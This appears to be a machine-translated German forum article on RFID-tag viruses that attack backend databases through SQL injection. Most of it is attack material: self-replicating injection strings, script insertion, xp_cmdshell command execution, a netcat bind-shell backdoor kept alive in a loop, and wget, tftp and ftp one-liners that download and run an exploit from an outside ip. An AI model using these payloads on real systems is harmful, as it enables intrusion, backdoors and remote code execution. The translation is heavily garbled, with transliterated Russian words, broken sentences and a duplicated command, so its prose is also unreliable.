Das Virus in der RFID-Hacker-Struktur.


{Einführung}

Darüber hinaus dieser Artikel über das Thema RFID-Hacking. Grundlagen und der Anfang im ersten Artikel dargelegt unter: http://forum.antichat.ru/thread123511.html. Weil wir wissen, dass RFID Radio Frequency IDentification (RFID) Remote-Methode der Speicherung und Übertragung von Informationen, die von Funksignalen Geräte mit RFID-Tags genannt.

{} Über Parasiten

Die wichtigsten Funktionen des Virus in dieser Art von Angriff, es ist das Kopieren selbst und die Ausführung von beliebigem Code. Zu diesem Zweck in der Regel verwendet der Parasit in die Datenbank. Details hängen von der Datenbank, die verwendet wird. Grundsätzlich gibt es zwei Arten von Viren in dieser Art von Angriff: die erste beliebige Abfragen an die Datenbank verwendet, die zweite alle Übungen mit quines (Sonderprogramm).
Willkürlichen Code, der ein Virus ist abhängig von den Mechanismen der Datenbank als Reaktion auf SQL-Injektion ausführen kann.


{SQL-Injektion}

Die Verwaltungssysteme häufig verwendete Methode von RFID-Tags aus einer Datenbankabfrage und dann die Daten zurück, die wiederum in der richtigen Reihenfolge kopiert werden. So kopieren Sie die Tags selbst in Gegenwart von bestimmten Faktoren ab.

Derzeit können zwei Arten von Virus ein einzelnes Programm betrachtet ist die erste Anforderung und die zweite ist die Verwendung von mehreren Anfragen.
Die erste Art von Virus, ein Minimum an Platz verwenden, und seine Struktur kann eine Kampf Last tragen. Und nur verwendet, um Informationen in der Datenbank bereits planen. Der Virus nutzt mehrere Abfragen im Gegenteil, es war für die Infektion autoindifikatsii Systeme und setzen bösartigen Code oder andere Nutzlast erstellt. Die am häufigsten verwendete Methode der zweiten, aber für den korrekten Betrieb dieser Art von Virus ist erforderlich, um bestimmte Bedingungen in einer Datenbank ordnungsgemäß eingehalten und der Bereitstellung dieser Arbeit GetCurrentQuery-Stil Funktionen für den Zugriff. Es ist notwendig, um Fehler zu vermeiden, da diese API ermöglicht es Ihnen, einen Kommentar Fitch einzugeben. (Ich beeile dich zu beruhigen, sind diese Eigenschaften, die ursprünglich in den Systemstandard im Lieferumfang enthalten)

Spezifische Angriffe durchgeführt werden, wenn die Datenbank eine Anfrage an das Etikett gemacht hat, und sie antwortete, wie dieser Inhalt
UPDATE ContainerContents SET OldContents = '% Inhalt%' WHERE TagID = '% id%'

Es werden nachfolgende Inhalte und id Variablen zamnetsya

Wenn diese Anforderung ohne Fehler sein wird, dann kann ein Angreifer die Anforderung mit unseren Lieblings-Zitate nach eigenem Ermessen ändern ( ''). Und was kann getan werden ??? Und dies ist nur aus dem Punkt der Selbstkopiervorgang zu NewContents hinzuzufügen und anderen Systemen in ähnlicher Weise zu infizieren.

Das ist über das, was wir brauchen:
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) – UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'
Anstatt nur Region OldContents aktualisieren Anfrage aktualisiert nun auch die Fläche NewContents. Wenn SQL Kommentare mit (-) in der Datenbank werden alle Zeilen peremescheny.Chto neue Möglichkeiten für atakueschego eröffnet.

Einfügen von bösartigem Code.

In einspritzt Technik oben beschrieben ist, ist es unmöglich, die Ausführung irgendeines anderen Code als Anfragen data.However Basis, wenn der Client-Seite skriptenga, der Server automatisch anfällig wird. Scripts können nach dem Kommentar eingefügt werden, so dass das Datenbanksystem, sie ignoriert.
Das einzige, was zu beachten, dass, wenn der Exploit-Code, ist es notwendig, einen dritten Parameter SUBSTR zu berücksichtigen, die ausbeuten tatsächlichen widerspiegeln.
Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script>
In einer ernsteren Form, mit Variablen und einige bestimmte quietscht nicht nur Einsätze wird es wie folgt aussehen:
Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% --
Dann wird der Schadcode zweimal, dh das erste Mal ausgearbeitet werden muss, wird das Kopieren von selbst in die Datenbank, ist das zweite Mal die Leistung selbst.

Im Moment, die Gelegenheit präsentieren Kommentare in Oracle (OCI / iSQL * Plus) Es bietet Funktionen GetCurrentQuery-Stil, gefolgt administratora.PostgreSQL Privilegien, MySQL und SQL Server auch Kommentare erlauben und mehrere Anfragen zu injizieren. Auch hier gibt es Funktionalität GetCurrentQuery-Stil. Allerdings ist PostgreSQL und SQL Server nicht zuverlässig Arbeiter Viren, alle begrenzt auf eine Probe Entwicklungen einzurichten.


{Ein paar Beispiele von bösartigem Code injiziert}

System-Management-Funktionen, die von der Datenbank bereitgestellt, kann verwendet werden, um Probleme zu verursachen. Beispiel Microsoft SQL Server bietet eine private Funktion, die die Datenbank von SQL geschlossen werden können.
Lesen von Daten aus der Datenbank
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' %' WHERE TagID = '% id%' Daten in der folgenden Abfrage verwendet werden können Anfragen an die Datenbank zu lenken.
'|| (SELECT ...) ||'
In diesem Fall führen Anführungszeichen SQL-Injection und Kraftdaten als Code interpretiert. || der Operator führt Kommunikationssequenz, wodurch das Ergebnis FAVORITE- Anforderung an das Feld in der Datenbank hinzugefügt werden. Sequenz Netzbetreiber erforderlich nitrolizovat dh unsere Lieblings-Zitate zu kommentieren.


{Shell-Command Execution durch SQL-Inject}

SQL Server bietet die xp_cmdshell Prozedur, die bösartige und nicht erlaubt, Befehle ausgeführt werden.
EXEC Master..xp_cmdshell 'commands';

{Installieren Backdoors im System}

Für protroyanivaniya System benötigen wir sleduschte Team
netcat -lp1234|sh
die im Jahre 1234 Port zu hören.

Aber hier sind wir in Gefahr, installiert und richtig fairvol oder brendmaura konfiguriert. Und hier ist die Lösung, den Code in einer Endlosschleife laufen, so dass es wie ein Dämon war, was an sich eine erweiterte zurück schafft.
screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done , screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done {Weitere Merkmale}

Es gibt immer noch eine nützliche Fitch, beispielsweise wget.Toest die Datei über das Netzwerk verwendet, und Speicherdateisystem.
wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit
wget ist in der Regel auf Windows-Systemen nicht zur Verfügung. In diesem Fall müssen Sie tftp zu nutzen
tftp -i ip GET myexploit.exe & myexploit
Sie können eine Textdatei hervorgehoben zu erstellen, wie sie auf der Fliege sagen, die Echo-Funktion
echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit {Fazit}

Dieser Artikel beschreibt das Eindringen in das betroffene System für RFID-Tags, die von Software .tut Kurs muss ich Sie warnen, dass das gesamte enthaltene Material wird nur als Referenz dargestellt. Im Hinblick auf die Komplexität der Ausführungstechnik, nämlich die Schaffung des Etiketts selbst und seine Programmierung mit böswilliger Absicht, scheint mir ein chur für einen einfachen Laien kompliziert. Also habe ich die Menschen warnen, die wissen, leiden aber nichts zu tun, es ist nicht notwendig, diese Informationen in der Praxis zu überprüfen.